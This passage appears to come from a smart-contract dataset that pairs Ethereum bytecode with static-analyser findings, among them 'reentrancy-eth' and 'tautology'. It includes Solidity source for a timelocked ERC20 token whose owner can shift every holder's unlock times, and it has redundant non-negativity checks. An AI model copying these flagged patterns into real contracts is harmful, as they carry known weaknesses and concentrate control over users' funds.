ffff80821115611d2d57600080fd5b818601915086601f830112611d4157600080fd5b813581811115611d5057600080fd5b8760208260051b8501011115611d6557600080fd5b602092830195509350611d7b9186019050611c8a565b90509250925092565b60008060408385031215611d9757600080fd5b8235611da281611ac1565b91506020830135611db281611ac1565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611e3257611e32611e08565b5060010190565b60008219821115611e4c57611e4c611e08565b500190565b600082821015611e6357611e63611e08565b500390565b600060208284031215611e7a57600080fd5b815161146581611ac1565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611ed55784516001600160a01b031683529383019391830191600101611eb0565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611f1357634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611f3257611f32611e08565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201f144a1b79ef061638378e642728c290cc3079678c31a00623d5cd629e56798e64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,430 |
0x99641ef8bdeddc76d8253aa3e8604087490667dc
|
pragma solidity ^0.4.24;
/*
*
* ____ ____ .__ _________ .__ .__
* \ \ / /____ | | __ __ ____ \_ ___ \| |__ _____ |__| ____
* \ Y /\__ \ | | | | \_/ __ \ / \ \/| | \\__ \ | |/ \
* \ / / __ \| |_| | /\ ___/ \ \___| Y \/ __ \| | | \
* \___/ (____ /____/____/ \___ > \______ /___| (____ /__|___| /
* \/ \/ \/ \/ \/ \/
*
*/
// Contract must have an owner
contract Owned {
address public owner;
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setOwner(address _owner) onlyOwner public {
owner = _owner;
}
}
// SafeMath methods
contract SafeMath {
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
assert(c >= _a);
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_a >= _b);
return _a - _b;
}
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a * _b;
assert(_a == 0 || c / _a == _b);
return c;
}
}
// for safety methods
interface ERC20Token {
function transfer(address _to, uint256 _value) external returns (bool);
function balanceOf(address _addr) external view returns (uint256);
function decimals() external view returns (uint8);
}
// the main ERC20-compliant contract
contract Token is SafeMath, Owned {
uint256 private constant DAY_IN_SECONDS = 86400;
string public constant standard = "0.861057";
string public name = "";
string public symbol = "";
uint8 public decimals = 0;
uint256 public totalSupply = 0;
mapping (address => uint256) public balanceP;
mapping (address => mapping (address => uint256)) public allowance;
mapping (address => uint256[]) public lockTime;
mapping (address => uint256[]) public lockValue;
mapping (address => uint256) public lockNum;
mapping (address => bool) public locker;
uint256 public later = 0;
uint256 public earlier = 0;
// standard ERC20 events
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// timelock-related events
event TransferLocked(address indexed _from, address indexed _to, uint256 _time, uint256 _value);
event TokenUnlocked(address indexed _address, uint256 _value);
// safety method-related events
event WrongTokenEmptied(address indexed _token, address indexed _addr, uint256 _amount);
event WrongEtherEmptied(address indexed _addr, uint256 _amount);
// constructor for the ERC20 Token
constructor(string _name, string _symbol, uint8 _decimals, uint256 _totalSupply) public {
require(bytes(_name).length > 0 && bytes(_symbol).length > 0);
name = _name;
symbol = _symbol;
decimals = _decimals;
totalSupply = _totalSupply;
balanceP[msg.sender] = _totalSupply;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
// owner may add or remove a locker address for the contract
function addLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = true;
}
function removeLocker(address _address) public validAddress(_address) onlyOwner {
locker[_address] = false;
}
// fast-forward the timelocks for all accounts
function setUnlockEarlier(uint256 _earlier) public onlyOwner {
earlier = add(earlier, _earlier);
}
// delay the timelocks for all accounts
function setUnlockLater(uint256 _later) public onlyOwner {
later = add(later, _later);
}
// show unlocked balance of an account
function balanceUnlocked(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocked balance of an account
function balanceLocked(address _address) public view returns (uint256 _balance) {
_balance = 0;
uint256 i = 0;
while (i < lockNum[_address]) {
if (add(now, earlier) < add(lockTime[_address][i], later)) _balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// standard ERC20 balanceOf with timelock added
function balanceOf(address _address) public view returns (uint256 _balance) {
_balance = balanceP[_address];
uint256 i = 0;
while (i < lockNum[_address]) {
_balance = add(_balance, lockValue[_address][i]);
i++;
}
return _balance;
}
// show timelocks in an account
function showTime(address _address) public view validAddress(_address) returns (uint256[] _time) {
uint i = 0;
uint256[] memory tempLockTime = new uint256[](lockNum[_address]);
while (i < lockNum[_address]) {
tempLockTime[i] = sub(add(lockTime[_address][i], later), earlier);
i++;
}
return tempLockTime;
}
// show values locked in an account's timelocks
function showValue(address _address) public view validAddress(_address) returns (uint256[] _value) {
return lockValue[_address];
}
// Calculate and process the timelock states of an account
function calcUnlock(address _address) private {
uint256 i = 0;
uint256 j = 0;
uint256[] memory currentLockTime;
uint256[] memory currentLockValue;
uint256[] memory newLockTime = new uint256[](lockNum[_address]);
uint256[] memory newLockValue = new uint256[](lockNum[_address]);
currentLockTime = lockTime[_address];
currentLockValue = lockValue[_address];
while (i < lockNum[_address]) {
if (add(now, earlier) >= add(currentLockTime[i], later)) {
balanceP[_address] = add(balanceP[_address], currentLockValue[i]);
emit TokenUnlocked(_address, currentLockValue[i]);
} else {
newLockTime[j] = currentLockTime[i];
newLockValue[j] = currentLockValue[i];
j++;
}
i++;
}
uint256[] memory trimLockTime = new uint256[](j);
uint256[] memory trimLockValue = new uint256[](j);
i = 0;
while (i < j) {
trimLockTime[i] = newLockTime[i];
trimLockValue[i] = newLockValue[i];
i++;
}
lockTime[_address] = trimLockTime;
lockValue[_address] = trimLockValue;
lockNum[_address] = j;
}
// standard ERC20 transfer
function transfer(address _to, uint256 _value) public validAddress(_to) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(msg.sender, _to, _value);
return true;
}
// transfer Token with timelocks
function transferLocked(address _to, uint256[] _time, uint256[] _value) public validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[msg.sender] >= totalValue && totalValue >= 0);
i = 0;
while (i < _time.length) {
balanceP[msg.sender] = sub(balanceP[msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
// emit custom TransferLocked event
emit TransferLocked(msg.sender, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
// emit standard Transfer event for wallets
emit Transfer(msg.sender, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
// lockers set by owners may transfer Token with timelocks
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(locker[msg.sender]);
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && allowance[_from][msg.sender] >= totalValue);
i = 0;
while (i < _time.length) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = add(now, _time[i]);
lockValue[_to][lockNum[_to]] = _value[i];
// emit custom TransferLocked event
emit TransferLocked(_from, _to, lockTime[_to][lockNum[_to]], lockValue[_to][lockNum[_to]]);
// emit standard Transfer event for wallets
emit Transfer(_from, _to, lockValue[_to][lockNum[_to]]);
lockNum[_to]++;
i++;
}
return true;
}
// standard ERC20 transferFrom
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] = sub(allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
// should only be called when first setting an allowance
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
// increase or decrease allowance
function increaseApproval(address _spender, uint _value) public returns (bool) {
allowance[msg.sender][_spender] = add(allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public returns (bool) {
if(_value >= allowance[msg.sender][_spender]) {
allowance[msg.sender][_spender] = 0;
} else {
allowance[msg.sender][_spender] = sub(allowance[msg.sender][_spender], _value);
}
emit Approval(msg.sender, _spender, allowance[msg.sender][_spender]);
return true;
}
// safety methods
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
// shouldn't happen, just in case
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
|
0x6080604052600436106101a05763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630451f52081146101a557806306fdde03146101d8578063095ea7b3146102625780630fce887b1461029a57806310e24db51461033e57806313af4035146103af57806316b81889146103d2578063170f8a51146103f357806318160ddd1461041457806323b872dd14610429578063313ce5671461045357806332308cce1461047e57806334af370f146104a257806345cc5890146104c65780635a3b7e42146104e75780635fc3a312146104fc578063661884631461051d57806366fbc1541461054157806370a0823114610556578063885cb436146105775780638da5cb5b1461059857806395d89b41146105c9578063a9059cbb146105de578063b91aedab14610602578063c7cc4ee91461069e578063ca0cd7c0146106b3578063ce62cd4a146106cb578063d71c9c12146106ec578063d72901811461070d578063d73dd6231461072e578063d80b205614610752578063dd62ed3e14610767578063df51d46b1461078e575b600080fd5b3480156101b157600080fd5b506101c6600160a060020a03600435166107a6565b60408051918252519081900360200190f35b3480156101e457600080fd5b506101ed610879565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561022757818101518382015260200161020f565b50505050905090810190601f1680156102545780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561026e57600080fd5b50610286600160a060020a0360043516602435610906565b604080519115158252519081900360200190f35b3480156102a657600080fd5b506040805160206004604435818101358381028086018501909652808552610286958335600160a060020a039081169660248035909216963696956064959294930192829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a9989019892975090820195509350839250850190849080828437509497506109a59650505050505050565b34801561034a57600080fd5b5061035f600160a060020a0360043516610dc8565b60408051602080825283518183015283519192839290830191858101910280838360005b8381101561039b578181015183820152602001610383565b505050509050019250505060405180910390f35b3480156103bb57600080fd5b506103d0600160a060020a0360043516610e4b565b005b3480156103de57600080fd5b506101c6600160a060020a0360043516610e91565b3480156103ff57600080fd5b506101c6600160a060020a0360043516610ea3565b34801561042057600080fd5b506101c6610eb5565b34801561043557600080fd5b50610286600160a060020a0360043581169060243516604435610ebb565b34801561045f57600080fd5b5061046861105d565b6040805160ff9092168252519081900360200190f35b34801561048a57600080fd5b506101c6600160a060020a0360043516602435611066565b3480156104ae57600080fd5b506101c6600160a060020a0360043516602435611096565b3480156104d257600080fd5b506103d0600160a060020a03600435166110b1565b3480156104f357600080fd5b506101ed611103565b34801561050857600080fd5b506101c6600160a060020a036004351661113a565b34801561052957600080fd5b50610286600160a060020a03600435166024356111ce565b34801561054d57600080fd5b506101c66112d9565b34801561056257600080fd5b506101c6600160a060020a03600435166112df565b34801561058357600080fd5b5061035f600160a060020a036004351661134e565b3480156105a457600080fd5b506105ad61143f565b60408051600160a060020a039092168252519081900360200190f35b3480156105d557600080fd5b506101ed61144e565b3480156105ea57600080fd5b50610286600160a060020a03600435166024356114a6565b34801561060e57600080fd5b50604080516020600460248035828101358481028087018601909752808652610286968435600160a060020a031696369660449591949091019291829185019084908082843750506040805187358901803560208181028481018201909552818452989b9a99890198929750908201955093508392508501908490808284375094975061159b9650505050505050565b3480156106aa57600080fd5b506101c66118cc565b3480156106bf57600080fd5b506103d06004356118d2565b3480156106d757600080fd5b506103d0600160a060020a03600435166118fb565b3480156106f857600080fd5b50610286600160a060020a036004351661194a565b34801561071957600080fd5b506103d0600160a060020a036004351661195f565b34801561073a57600080fd5b50610286600160a060020a0360043516602435611afc565b34801561075e57600080fd5b506103d0611b2a565b34801561077357600080fd5b506101c6600160a060020a0360043581169060243516611bb9565b34801561079a57600080fd5b506103d0600435611bd6565b600160a060020a038116600090815260056020526040812054905b600160a060020a03831660009081526009602052604090205481101561087357600160a060020a0383166000908152600760205260409020805461081d91908390811061080a57fe5b9060005260206000200154600b54611bff565b61082942600c54611bff565b1061086b57600160a060020a038316600090815260086020526040902080546108689184918490811061085857fe5b9060005260206000200154611bff565b91505b6001016107c1565b50919050565b60018054604080516020600284861615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156108fe5780601f106108d3576101008083540402835291602001916108fe565b820191906000526020600020905b8154815290600101906020018083116108e157829003601f168201915b505050505081565b600082600160a060020a038116151561091e57600080fd5b33600090815260096020526040812054111561093d5761093d33611c15565b336000818152600660209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b6000808086600160a060020a03811615156109bf57600080fd5b86600160a060020a03811615156109d557600080fd5b336000908152600a602052604090205460ff1615156109f357600080fd5b8651865114610a0157600080fd5b600160a060020a0389166000908152600960205260408120541115610a2957610a2989611c15565b60009350600092505b8551841015610a6957610a5c838786815181101515610a4d57fe5b90602001906020020151611bff565b6001909401939250610a32565b600160a060020a0389166000908152600560205260409020548311801590610a92575060008310155b8015610ac15750600160a060020a03891660009081526006602090815260408083203384529091529020548311155b1515610acc57600080fd5b600093505b8651841015610db957600160a060020a0389166000908152600560205260409020548651610b159190889087908110610b0657fe5b90602001906020020151612059565b600160a060020a038a1660009081526005602090815260408083209390935560068152828220338352905220548651610b559190889087908110610b0657fe5b600160a060020a03808b166000908152600660209081526040808320338452825280832094909455918b1681526009825282812054600790925291909120600190910190610ba3908261206b565b50600160a060020a0388166000908152600960209081526040808320546008909252909120600190910190610bd8908261206b565b50610beb428886815181101515610a4d57fe5b600160a060020a038916600090815260076020908152604080832060099092529091205481548110610c1957fe5b6000918252602090912001558551869085908110610c3357fe5b6020908102909101810151600160a060020a038a166000908152600883526040808220600990945290205482549192918110610c6b57fe5b6000918252602080832090910192909255600160a060020a03808b1680835260078452604080842060099095529092205483549293918d16927f34c966766e471b87b7ce8d0d0358378cf20008a30bbb36246a3413c8a286834e9291908110610cd057fe5b6000918252602080832090910154600160a060020a038e16835260088252604080842060099093529092205481548110610d0657fe5b6000918252602091829020015460408051938452918301528051918290030190a3600160a060020a038089166000818152600860209081526040808320600990925290912054815492938d16926000805160206120fd8339815191529291908110610d6d57fe5b90600052602060002001546040518082815260200191505060405180910390a3600160a060020a0388166000908152600960205260409020805460019081019091559390930192610ad1565b50600198975050505050505050565b606081600160a060020a0381161515610de057600080fd5b600160a060020a03831660009081526008602090815260409182902080548351818402810184019094528084529091830182828015610e3e57602002820191906000526020600020905b815481526020019060010190808311610e2a575b5050505050915050919050565b600054600160a060020a03163314610e6257600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60096020526000908152604090205481565b60056020526000908152604090205481565b60045481565b600083600160a060020a0381161515610ed357600080fd5b83600160a060020a0381161515610ee957600080fd5b600160a060020a0386166000908152600960205260408120541115610f1157610f1186611c15565b600160a060020a0386166000908152600560205260409020548411801590610f3a575060008410155b8015610f695750600160a060020a03861660009081526006602090815260408083203384529091529020548411155b1515610f7457600080fd5b600160a060020a0386166000908152600660209081526040808320338452909152902054610fa29085612059565b600160a060020a038716600081815260066020908152604080832033845282528083209490945591815260059091522054610fdd9085612059565b600160a060020a03808816600090815260056020526040808220939093559087168152205461100c9085611bff565b600160a060020a0380871660008181526005602090815260409182902094909455805188815290519193928a16926000805160206120fd83398151915292918290030190a350600195945050505050565b60035460ff1681565b60086020528160005260406000208181548110151561108157fe5b90600052602060002001600091509150505481565b60076020528160005260406000208181548110151561108157fe5b80600160a060020a03811615156110c757600080fd5b600054600160a060020a031633146110de57600080fd5b50600160a060020a03166000908152600a60205260409020805460ff19166001179055565b60408051808201909152600881527f302e383631303537000000000000000000000000000000000000000000000000602082015281565b6000805b600160a060020a03831660009081526009602052604090205481101561087357600160a060020a0383166000908152600760205260409020805461118791908390811061080a57fe5b61119342600c54611bff565b10156111c657600160a060020a038316600090815260086020526040902080546111c39184918490811061085857fe5b91505b60010161113e565b336000908152600660209081526040808320600160a060020a0386168452909152812054821061122157336000908152600660209081526040808320600160a060020a0387168452909152812055611274565b336000908152600660209081526040808320600160a060020a038716845290915290205461124f9083612059565b336000908152600660209081526040808320600160a060020a03881684529091529020555b336000818152600660209081526040808320600160a060020a0388168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b600c5481565b600160a060020a038116600090815260056020526040812054905b600160a060020a03831660009081526009602052604090205481101561087357600160a060020a038316600090815260086020526040902080546113449184918490811061085857fe5b91506001016112fa565b606060008183600160a060020a038116151561136957600080fd5b600092506009600086600160a060020a0316600160a060020a03168152602001908152602001600020546040519080825280602002602001820160405280156113bc578160200160208202803883390190505b5091505b600160a060020a03851660009081526009602052604090205483101561143757600160a060020a038516600090815260076020526040902080546114149161140c918690811061080a57fe5b600c54612059565b828481518110151561142257fe5b602090810290910101526001909201916113c0565b509392505050565b600054600160a060020a031681565b6002805460408051602060018416156101000260001901909316849004601f810184900484028201840190925281815292918301828280156108fe5780601f106108d3576101008083540402835291602001916108fe565b600082600160a060020a03811615156114be57600080fd5b3360009081526009602052604081205411156114dd576114dd33611c15565b3360009081526005602052604090205483118015906114fd575060008310155b151561150857600080fd5b336000908152600560205260409020546115229084612059565b3360009081526005602052604080822092909255600160a060020a0386168152205461154e9084611bff565b600160a060020a0385166000818152600560209081526040918290209390935580518681529051919233926000805160206120fd8339815191529281900390910190a35060019392505050565b6000808085600160a060020a03811615156115b557600080fd5b85518551146115c357600080fd5b3360009081526009602052604081205411156115e2576115e233611c15565b60009250600091505b845183101561161357611606828685815181101515610a4d57fe5b60019093019291506115eb565b336000908152600560205260409020548211801590611633575060008210155b151561163e57600080fd5b600092505b85518310156118bf5733600090815260056020526040902054855161166f9190879086908110610b0657fe5b33600090815260056020908152604080832093909355600160a060020a038a168252600981528282205460079091529190206001909101906116b1908261206b565b50600160a060020a03871660009081526009602090815260408083205460089092529091206001909101906116e6908261206b565b506116f9428785815181101515610a4d57fe5b600160a060020a03881660009081526007602090815260408083206009909252909120548154811061172757fe5b600091825260209091200155845185908490811061174157fe5b6020908102909101810151600160a060020a038916600090815260088352604080822060099094529020548254919291811061177957fe5b6000918252602080832090910192909255600160a060020a0389168082526007835260408083206009909452909120548254919233927f34c966766e471b87b7ce8d0d0358378cf20008a30bbb36246a3413c8a286834e929081106117da57fe5b6000918252602080832090910154600160a060020a038d1683526008825260408084206009909352909220548154811061181057fe5b6000918252602091829020015460408051938452918301528051918290030190a3600160a060020a0387166000818152600860209081526040808320600990925290912054815433926000805160206120fd833981519152929091811061187357fe5b90600052602060002001546040518082815260200191505060405180910390a3600160a060020a0387166000908152600960205260409020805460019081019091559290920191611643565b5060019695505050505050565b600b5481565b600054600160a060020a031633146118e957600080fd5b6118f5600b5482611bff565b600b5550565b80600160a060020a038116151561191157600080fd5b600054600160a060020a0316331461192857600080fd5b50600160a060020a03166000908152600a60205260409020805460ff19169055565b600a6020526000908152604090205460ff1681565b600080548190600160a060020a0316331461197957600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051849350600160a060020a038416916370a082319160248083019260209291908290030181600087803b1580156119dd57600080fd5b505af11580156119f1573d6000803e3d6000fd5b505050506040513d6020811015611a0757600080fd5b5051905060008111611a1857600080fd5b604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481018390529051600160a060020a0384169163a9059cbb9160448083019260209291908290030181600087803b158015611a8057600080fd5b505af1158015611a94573d6000803e3d6000fd5b505050506040513d6020811015611aaa57600080fd5b50511515611ab757600080fd5b6040805182815290513391600160a060020a038616917f5d8daa04d680e083e2ab17a35494ba9f290f554edf76a78f0103a8a599b5c4249181900360200190a3505050565b336000908152600660209081526040808320600160a060020a038616845290915281205461124f9083611bff565b60008054600160a060020a03163314611b4257600080fd5b50303160008111611b5257600080fd5b604051339082156108fc029083906000818181858888f19350505050158015611b7f573d6000803e3d6000fd5b5060408051828152905133917faea7a96dc17068a25e51e08f8ed45b86bd34b10af65af8e757af57b7e7b9e55d919081900360200190a250565b600660209081526000928352604080842090915290825290205481565b600054600160a060020a03163314611bed57600080fd5b611bf9600c5482611bff565b600c5550565b600082820183811015611c0e57fe5b9392505050565b6000806060806060806060806000975060009650600960008a600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015611c78578160200160208202803883390190505b509350600960008a600160a060020a0316600160a060020a0316815260200190815260200160002054604051908082528060200260200182016040528015611cca578160200160208202803883390190505b50600160a060020a038a166000908152600760209081526040918290208054835181840281018401909452808452939650919290830182828015611d2d57602002820191906000526020600020905b815481526020019060010190808311611d19575b50505050509550600860008a600160a060020a0316600160a060020a03168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611da357602002820191906000526020600020905b815481526020019060010190808311611d8f575b505050505094505b600160a060020a038916600090815260096020526040902054881015611f0d57611dee8689815181101515611ddc57fe5b90602001906020020151600b54611bff565b611dfa42600c54611bff565b10611e9b57600160a060020a0389166000908152600560205260409020548551611e2b919087908b908110610a4d57fe5b600160a060020a038a1660008181526005602052604090209190915585517f613edbda9d1e6bda8af8e869a973f88cccf93854a11f351589038de07e1ab4e39087908b908110611e7757fe5b906020019060200201516040518082815260200191505060405180910390a2611f02565b8588815181101515611ea957fe5b906020019060200201518488815181101515611ec157fe5b602090810290910101528451859089908110611ed957fe5b906020019060200201518388815181101515611ef157fe5b602090810290910101526001909601955b600190970196611dab565b86604051908082528060200260200182016040528015611f37578160200160208202803883390190505b50915086604051908082528060200260200182016040528015611f64578160200160208202803883390190505b509050600097505b86881015611fdf578388815181101515611f8257fe5b906020019060200201518289815181101515611f9a57fe5b602090810290910101528251839089908110611fb257fe5b906020019060200201518189815181101515611fca57fe5b60209081029091010152600190970196611f6c565b600160a060020a0389166000908152600760209081526040909120835161200892850190612094565b50600160a060020a0389166000908152600860209081526040909120825161203292840190612094565b505050600160a060020a039096166000908152600960205260409020939093555050505050565b60008183101561206557fe5b50900390565b81548183558181111561208f5760008381526020902061208f9181019083016120df565b505050565b8280548282559060005260206000209081019282156120cf579160200282015b828111156120cf5782518255916020019190600101906120b4565b506120db9291506120df565b5090565b6120f991905b808211156120db57600081556001016120e5565b905600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820893fe52c4cd3e93fbc5973c1595e8e0d0b91085ecb36938ee0d630f5b94579090029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 8,431 |
0x0aa4920cFE775937c38F89f35517898091bF174e
|
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.5;
// OpenZeppelin Contracts v4.4.1 (utils/Context.sol)
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), 'Ownable: caller is not the owner');
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), 'Ownable: new owner is the zero address');
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
